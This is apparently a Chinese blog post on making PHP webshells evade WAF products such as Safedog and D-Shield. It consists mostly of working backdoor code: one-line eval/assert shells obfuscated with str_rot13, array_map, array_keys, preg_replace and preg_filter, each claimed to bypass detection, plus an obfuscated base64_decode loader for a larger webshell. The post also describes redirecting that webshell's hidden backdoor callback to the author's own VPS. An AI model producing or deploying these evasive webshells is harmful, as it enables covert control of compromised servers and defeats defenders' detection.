php webshell免殺

前言

最近在研究php免殺繞過安全狗泉手、D盾等WAF防護軟件。也算是小有成績滤钱。故記錄下來觉壶。

一句話木馬

在滲透測試中最常用的就是一句話后門(小馬)和中國菜刀的配合。如果出現(xiàn)某種WAF防護件缸,就尋找一個免殺的大馬掛馬铜靶。
最常見的php一句話木馬

<?php  @eval($_POST['x']);?>

這個一句話木馬由兩部分組成,eval用來執(zhí)行接收的代碼他炊。$_POST['x']來接收數(shù)值争剿。
本著這個原則,嘗試改寫一句話木馬繞過WAF痊末。
搜集了幾個常用的php函數(shù)
執(zhí)行代碼的eval秒梅、assert、preg_replace
接收數(shù)據(jù)的$_POST舌胶、$_GET捆蜀、$_REQUEST

php一句話免殺

str_rot13函數(shù)

<?php
$c=str_rot13('nffreg');
$c($_REQUEST['x']);
?>

str_rot13函數(shù)來替代assert。該函數(shù)對字符串執(zhí)行ROT13編碼幔嫂。ROT13編碼就是把每個字母在字母表中移動13位辆它。
測試發(fā)現(xiàn)無法繞過安全狗。修改一下履恩。

<?php
function xiaoma($a){
    $c=str_rot13('nffreg');
    $c($a);
}
xiaoma($_REQUEST['x']);
?>

即可繞過安全狗锰茉。

<?php
class One{
    function xiaoma($x){
    $c=str_rot13('n!ff!re!nffreg');
    $str=explode('!',$c)[3];
    $str($x);
    }
}
$test=new One();
$test->xiaoma($_REQUEST['x']);
?>

再次修改,加了explode函數(shù)分割字符串切心,class封裝類飒筑。可繞過D盾绽昏。

array_map函數(shù)

array_map() 函數(shù)將函數(shù)作用到數(shù)組中的每個值上协屡,并返回一個新的數(shù)組。

<?php
$a1=array("1234","123456");
$a2=array(@$_REQUEST['x'],"1234");
$a=array_map(null,$a1,$a2)[0][1];
assert($a);
?>

即可繞過安全狗全谤。

array_key函數(shù)

array_key() 函數(shù)也是返回包含數(shù)組的一個新數(shù)組肤晓。

<?php
$a=array($_REQUEST['x']=>"3");
$b=array_keys($a)[0];
eval($b);
?>

索引數(shù)組變化為關聯(lián)數(shù)組。
即可繞過安全狗认然、D盾补憾。

preg_replace函數(shù)

用來正則匹配的一個函數(shù)。

<?php
function func(){
    return $_REQUEST['x'];
}
preg_replace("/test/e",func(),"i am test");
?>

/e用來當做php代碼解析卷员。5.6版本以下實用盈匾。
測試可繞過安全狗和D盾。

preg_filter函數(shù)

根據(jù)preg_replace修改為preg_filter函數(shù)毕骡,也是用來執(zhí)行正則的匹配替換削饵。

<?php
$a=preg_filter('/\s+/','','as s er t');
$a($_REQUEST['x']);
?>

也可以繞過D盾岩瘦、安全狗。

其他

<?php
function test($a){
    $arr = array('a','s','s','e','r','t');
    $func = '';
    for($i=0;$i<count($arr);$i++) {
        $func.=$func.$arr[$i];
    }
    $func=substr($func,-6);
    $func($a);
}
test($_REQUEST['x']);
?>

也可以繞過D盾葵孤、安全狗。

image.png

php免殺大馬

正好自己手里有一個php大馬橱赠。但不免殺尤仍。嘗試將源碼base64加密后修改為php免殺大馬。
將大馬eval函數(shù)變?yōu)閑xit或者echo狭姨。burp抓取源代碼宰啦。

image.png
image.png

將源代碼拷貝下來,審計發(fā)現(xiàn)給源碼存在一處后門饼拍。


image.png

base64解碼一下

image.png

哦I哪!!师抄!真是可以漓柑。
將該base64地址修改為自己的vps地址。嘻嘻叨吮。
那現(xiàn)在只要eval函數(shù)可以執(zhí)行這傳base64的字符串就可以啦辆布。
WAF對base64_encode、base64_decode查殺非常嚴格茶鉴。
不斷搜索锋玲、修改、編寫涵叮,最終成功惭蹂。

<?php
header("Content-type: text/html; charset=utf-8");
class one{
    public function dama(){
        $l='base';
        $o='64_de';
        $v='co';
        $e='de';
        $love=$l.$o.$v.$e;
        $c="love";
        $shellname='網(wǎng)站安全檢測';
        $password='xxx';
        $myurl='http://www.xxx.com';
        $a=$$c('code');//php源碼
        @eval($a);
    }
}
$person = new one;
$person->dama();
?>

直接將php大馬源碼放在code處。即可割粮。
也可以改造php免殺一句話木馬盾碗。
比如這款

<?php
header("Content-type: text/html; charset=utf-8");
function test($code){
    $password='xxx';
    $a=preg_filter('/\s+/','','base 64 _ deco de');
    $c=$a($code);
    @eval($c);
}
$code='';   //code存放php大馬
test($code);
?>

訪問一下。

image.png

查看vps是否接收到舀瓢。


image.png

參考資料:
PHP一句話木馬之小馬
PHP免殺大馬的奇淫技巧

最后編輯于
?著作權歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
禁止轉(zhuǎn)載置尔,如需轉(zhuǎn)載請通過簡信或評論聯(lián)系作者。
  • 序言:七十年代末氢伟,一起剝皮案震驚了整個濱河市榜轿,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌朵锣,老刑警劉巖谬盐,帶你破解...
    沈念sama閱讀 219,490評論 6 508
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件,死亡現(xiàn)場離奇詭異诚些,居然都是意外死亡飞傀,警方通過查閱死者的電腦和手機皇型,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 93,581評論 3 395
  • 文/潘曉璐 我一進店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來砸烦,“玉大人弃鸦,你說我怎么就攤上這事〈倍唬” “怎么了唬格?”我有些...
    開封第一講書人閱讀 165,830評論 0 356
  • 文/不壞的土叔 我叫張陵,是天一觀的道長颜说。 經(jīng)常有香客問我购岗,道長,這世上最難降的妖魔是什么门粪? 我笑而不...
    開封第一講書人閱讀 58,957評論 1 295
  • 正文 為了忘掉前任喊积,我火速辦了婚禮,結果婚禮上玄妈,老公的妹妹穿的比我還像新娘乾吻。我一直安慰自己,他們只是感情好拟蜻,可當我...
    茶點故事閱讀 67,974評論 6 393
  • 文/花漫 我一把揭開白布溶弟。 她就那樣靜靜地躺著,像睡著了一般瞭郑。 火紅的嫁衣襯著肌膚如雪辜御。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,754評論 1 307
  • 那天屈张,我揣著相機與錄音擒权,去河邊找鬼。 笑死阁谆,一個胖子當著我的面吹牛碳抄,可吹牛的內(nèi)容都是我干的。 我是一名探鬼主播场绿,決...
    沈念sama閱讀 40,464評論 3 420
  • 文/蒼蘭香墨 我猛地睜開眼剖效,長吁一口氣:“原來是場噩夢啊……” “哼!你這毒婦竟也來了焰盗?” 一聲冷哼從身側響起璧尸,我...
    開封第一講書人閱讀 39,357評論 0 276
  • 序言:老撾萬榮一對情侶失蹤,失蹤者是張志新(化名)和其女友劉穎熬拒,沒想到半個月后爷光,有當?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體,經(jīng)...
    沈念sama閱讀 45,847評論 1 317
  • 正文 獨居荒郊野嶺守林人離奇死亡澎粟,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 37,995評論 3 338
  • 正文 我和宋清朗相戀三年蛀序,在試婚紗的時候發(fā)現(xiàn)自己被綠了欢瞪。 大學時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點故事閱讀 40,137評論 1 351
  • 序言:一個原本活蹦亂跳的男人離奇死亡徐裸,死狀恐怖遣鼓,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情重贺,我是刑警寧澤骑祟,帶...
    沈念sama閱讀 35,819評論 5 346
  • 正文 年R本政府宣布,位于F島的核電站檬姥,受9級特大地震影響曾我,放射性物質(zhì)發(fā)生泄漏粉怕。R本人自食惡果不足惜健民,卻給世界環(huán)境...
    茶點故事閱讀 41,482評論 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望贫贝。 院中可真熱鬧秉犹,春花似錦、人聲如沸稚晚。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,023評論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽客燕。三九已至鸳劳,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間也搓,已是汗流浹背赏廓。 一陣腳步聲響...
    開封第一講書人閱讀 33,149評論 1 272
  • 我被黑心中介騙來泰國打工, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留傍妒,地道東北人幔摸。 一個月前我還...
    沈念sama閱讀 48,409評論 3 373
  • 正文 我出身青樓,卻偏偏與公主長得像颤练,于是被迫代替她去往敵國和親既忆。 傳聞我的和親對象是個殘疾皇子,可洞房花燭夜當晚...
    茶點故事閱讀 45,086評論 2 355

推薦閱讀更多精彩內(nèi)容

  • 來源:http://bbs.ichunqiu.com/thread-8964-1-1.html?from=ch 這...
    池寒閱讀 464評論 0 0
  • 什么是一句話木馬 一句話木馬就是只需要一行代碼的木馬嗦玖,短短一行代碼患雇,就能做到和大馬相當?shù)墓δ堋榱死@過waf的檢測...
    Waldo_cuit閱讀 109,840評論 3 22
  • (源自摘抄整理)https://www.91ri.org/11494.html Webshell實現(xiàn)與隱藏探究 一...
    JackyTsuuuy閱讀 20,804評論 2 13
  • 一套實用的滲透測試崗位面試題宇挫,你會嗎庆亡? 1.拿到一個待檢測的站,你覺得應該先做什么捞稿? 收集信息 whois又谋、網(wǎng)站源...
    g0閱讀 4,838評論 0 9
  • 在滲透測試的后期拼缝,為了維持權限。我們通常都會選擇使用大小馬或者通過添加賬戶等各種各樣的方式給自己留個后門彰亥。但是事情...
    自我陶醉閱讀 5,203評論 0 3